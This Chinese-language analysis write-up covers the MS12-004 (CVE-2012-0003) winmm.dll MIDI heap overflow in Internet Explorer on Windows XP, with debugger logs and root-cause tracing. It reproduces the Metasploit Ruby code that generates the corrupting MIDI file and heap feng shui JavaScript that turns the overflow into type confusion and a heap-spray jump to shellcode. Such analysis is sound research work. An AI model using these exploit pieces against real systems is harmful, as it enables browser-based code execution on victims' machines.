环境
- Windows XP
- Windows Media Player (10.00.00.3802)
- Internet Explorer
- Immunity Debugger
- IDA
- ubuntu 16.04 with metasploit
分析
winmm.dll在处理网页中嵌入的midi文件时产生了堆溢出。
样本文件
在msf中搜索“cve-2012-0003”找到模块windows/browser/ms12_004_midi
,选好payload和option之后,运行exploit会启动一个web server,并打印出访问地址,在xp中访问这个链接发现可以触发漏洞,为了便于调试还是生成本地文件方便一点,直接用curl把网页保存成html,打开发现还加载了midi文件,按照链接也curl下来就好,记得把html中的midi路径换成相对路径。
在010editor中打开midi文件:
msf的这个模块对应的文件为ms12_004_midi.rb
,查看代码发现生成midi文件的部分如下,这里就不分析文件格式了,后面有疑问的时候回来对照着图片和代码看就好。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
|
def get_midi(stage="corruption")
# MIDI Fileformat Reference:
# http://www.sonicspot.com/guide/midifiles.html
#
# Event Types:
# 0x08 = Note Off (when MIDI key is released)
# 0x09 = Note On (when MIDI key is pressed)
# 0x0A = Note aftertouch (pressure change on the pressed MIDI key)
# 0x0B = Controller Event (MIDI channels state)
# 0x0C = Program change (Which instrument/patch should be played on the MIDI channel)
# 0x0D = Channel aftertouch (similar to Note Aftertouch; effects all keys pressed on the specific MIDI channel)
# 0x0E = Pitch Bend (similiar to a controller event; has 2 bytes to describe its value)
# 0x0F = Meta Events (not sent or received over a midi port)
# Structure:
# [Header Chunk][Track Chunk][Meta Event][Meta Event][SYSEX Event][Midi Channel Event)
# Track Chunk Data
tc = "\x00\xFF\x03\x0D\x44\x72\x75\x6D"
# Meta Event - Sequence/Track Name
tc << "\x73\x20\x20\x20\x28\x42\x42\x29\x00"
# Midi Channel Event - Program Change
tc << "\x00\xC9\x28"
# Midi Channel Event - Controller
tc << "\x00\xB9\x07\x64"
# Midi Channel Event - Controller
tc << "\x00\xB9\x0A\x40"
# Midi Channel Event - Controller
tc << "\x00\xB9\x7B\x00"
# Midi Channel Event - Controller
tc << "\x00\xB9\x5B\x28"
# Midi Channel Event - Controller
tc << "\x00\xB9\x5D\x00"
# Midi Channel Event - Note On
tc << "\x85\x50\x99\x23\x7F"
# Corruption events
if stage == "corruption"
# Midi Channel Event - Note On
tc << "\x00\x9F\xb2\x73"
else
# Midi Channel Event - Note Off (trigger a leak)
tc << "\x00\x8F\xb2\x73"
end
# Meta Event - End Of Track
tc << "\x00\xFF\x2F\x00"
m = ''
# HEADERCHUNK Header
m << "MThd" # Header
m << "\x00\x00\x00\x06" # Chunk size
m << "\x00\x00" # Format Type
m << "\x00\x01" # Number of tracks
m << "\x00\x60" # Time division
# TRACKCHUNK header
m << "MTrk" # Header
m << [tc.length].pack('N')
m << tc
#midi_name = "test_case.mid"
midi_name = rand_text_alpha(5) + ".mid"
return midi_name, m
end
|
漏洞触发
由于是堆溢出漏洞,先打开堆页让程序直接crash。
gflags.exe -i IExplore.exe +hpa
之后打开ie用immunity debugger attach上,拖入poc.html,在ie中有安全警告,点击运行,之后程序会crash掉。
断在这一句,访问到了异常地址
1
|
76B2D224 MOV AL,BYTE PTR DS:[ESI]
|
溯源
下面分析esi的来源,通过mona找到这行代码所在模块winmm.dll,拖入ida中分析,函数有点长,在ida中f5反编译先看看,找到之前crash的语句,那么接下来就要追一下v24是哪里来的。
这里涉及十几个变量,看着头晕,拿笔画一画就清晰多了。
呃,貌似还是不太明了他们都是干什么的。接下来使用调试器的“断点记录shift+f4 ”功能把变量都标记一下,调试器会记录下他们值的变化情况。
在ida中对着伪代码和汇编代码,找到感兴趣变量对应的汇编语句,shift+f4打开条件断点窗口设置,之后运行完打开log就可以看到这些变量的变化过程。
我的方法是先在ida中一次性找完,记下来,之后到immunity debugger中依次设好。
1
2
3
4
5
6
7
8
9
10
11
|
v1 76B2D044 edi
v2 76B2D053 esi
v9 76B2D099 ebx
wParama 76B2D083 ecx
v11 76B2D0B8 ecx
v13 76B2D0C9 ecx
wParam3a 76B2D20D edx
v21
v23 76B2D214 eax
v20 76B2D1BF esi
v24 76B2D224 esi
|
设完之后的样子:
拖入样本运行后打出的log:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
|
76B2D044 COND: v1 = 02A9CE70
76B2D053 COND: v2 = 02AC87F8
76B2D083 COND: wParama = 18A90088
76B2D099 COND: v9 = 00000004
76B2D0B8 COND: v11 = 000028C9
76B2D0C9 COND: v13 = 000028C9
76B2D1BF COND: v20 = 02ACB380
76B2D053 COND: v2 = 02AC87F8
76B2D083 COND: wParama = 18A90088
76B2D099 COND: v9 = 00000010
76B2D0B8 COND: v11 = 006407B9
76B2D0C9 COND: v13 = 006407B9
76B2D1BF COND: v20 = 02ACB380
76B2D053 COND: v2 = 02AC87F8
76B2D083 COND: wParama = 18A90088
76B2D099 COND: v9 = 0000001C
76B2D0B8 COND: v11 = 00400AB9
76B2D0C9 COND: v13 = 00400AB9
76B2D1BF COND: v20 = 02ACB380
76B2D053 COND: v2 = 02AC87F8
76B2D083 COND: wParama = 18A90088
76B2D099 COND: v9 = 00000028
76B2D0B8 COND: v11 = 00007BB9
76B2D0C9 COND: v13 = 00007BB9
76B2D1BF COND: v20 = 02ACB380
76B2D053 COND: v2 = 02AC87F8
76B2D083 COND: wParama = 18A90088
76B2D099 COND: v9 = 00000034
76B2D0B8 COND: v11 = 00285BB9
76B2D0C9 COND: v13 = 00285BB9
76B2D1BF COND: v20 = 02ACB380
76B2D053 COND: v2 = 02AC87F8
76B2D083 COND: wParama = 18A90088
76B2D099 COND: v9 = 00000040
76B2D0B8 COND: v11 = 00005DB9
76B2D0C9 COND: v13 = 00005DB9
76B2D1BF COND: v20 = 02ACB380
76B2D053 COND: v2 = 02A9CF18
76B2D083 COND: wParama = 028E91C8
7C8106E9 New thread with ID 000002A0 created
192E0000 Modules C:\WINDOWS\system32\wmvcore.dll
73620000 Modules C:\WINDOWS\system32\msdmo.dll
7C8106E9 New thread with ID 000001D8 created
19530000 Modules C:\WINDOWS\system32\WMASF.DLL
76B2D044 COND: v1 = 02A9CE70
76B2D053 COND: v2 = 02A9CF18
76B2D083 COND: wParama = 028E91C8
76B2D099 COND: v9 = 00000004
76B2D0B8 COND: v11 = 007F2399
76B2D0C9 COND: v13 = 007F2399
76B2D1BF COND: v20 = 02ACB380
76B2D20D COND: wParam3a = 00000023
76B2D214 COND: v23 = 00000251
76B2D224 COND: v24 = 02ACB5D1
76B2D053 COND: v2 = 02A9CF18
76B2D083 COND: wParama = 028E91C8
76B2D099 COND: v9 = 00000010
76B2D0B8 COND: v11 = 0073B29F
76B2D0C9 COND: v13 = 0073B29F
76B2D1BF COND: v20 = 02ACB380
76B2D20D COND: wParam3a = 000000B2
76B2D214 COND: v23 = 00000419
76B2D224 COND: v24 = 02ACB799
[00:14:21] Thread 000007C0 terminated, exit code 0
|
分析发现:
- v20 = 02ACB380从头到尾都是不变的,而这个值来源于此函数的唯一参数
- v11==v13,每次值会有变化
- v9是递增的
- wParam3a是截取v11的8到15位
v23是通过wParam3a和v21计算出来的(v21的值和v11一样,上面忘打了),试了一下,果然是这样。
现在看来v23来源于v11,v11从哪里来的呢,样本。
最后导致程序crash的地址是v23+v20,现在还剩v20了,前面说v20来自函数参数,那么就xref看看
对gpEmuList进行xref找到写它的地方,发现他指向一块分配的堆:
所以,v20是基地址,v23是索引,v23=0x419时发生了越界读取,程序crash。
利用
在越界访问发生之后,程序会对esi指向的内存进行+1操作,exp中利用这一点来造成类型混淆。
大致思路是在内存中连续分配内存,间隔释放留下一些“空洞”,期待winmmAlloc会申请到这片区域(插空),之后触发漏洞会改写下一个块的数据(+1),控制这个写入的偏移,即可造成下一个块的类型混淆。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
var heap = new heapLib.ie();
var selob = document.createElement("select")
selob.w0 = unescape("%u0c0c%u0c0c")
selob.w1 = alert
selob.w2 = alert
selob.w3 = alert
selob.w4 = alert
selob.w5 = alert
selob.w6 = alert
selob.w7 = alert
selob.w8 = alert
....省略
selob.w53 = alert
selob.w54 = alert
selob.w55 = alert
var clones = new Array(1000);
function feng_shui() {
heap.gc();
var i = 0;
while (i < 1000) {
clones[i] = selob.cloneNode(true)
i = i + 1;
}
var j = 0;
while (j < 1000) {
delete clones[j];
CollectGarbage();
j = j + 2;
}
}
feng_shui();
function trigger(){
var k = 999;
while (k > 0) {
if (typeof(clones[k].w0) == "string") {
} else {
clones[k].w0('come on!');
}
k = k - 2;
}
feng_shui();js
document.audio.Play();
|
在clone、free还有midi分配内存的地方分别设置条件断点:
运行后查看log,找到vulBuffer和其匹配的释放地址,”插空“成功
1
2
3
|
7E279860 COND: 111free = 02A8D158
.....
76B2CDEE COND: vulBuffer alloc = 02A8D158
|
最后调试下越界写和shellcode跳转:
- +1 变成0x09,w1由string类型变为object类型,他的字符串就会被错当成指针
- 在CAttrValue::GetIntoVariant中找到调用虚表指针的地方,下断点;取001c9cdc
- 001c9cdc指向0c0c0c0c,经典的堆喷射地址,后面就是跳转到布局好的shellcode执行了。
总结
- 调堆还是得用windbg,试了下Immunity Debugger的!heap功能不咋好用,这里关于堆的地方有点模糊
- 这里字符串在内存中的布局有点奇怪,我查到的应该是这种格式
- 条件断点,设clone alloc那里没太搞懂,原因还是对ie中的数据结构、内存结构不了解
- 堆喷射只知道套路。
参考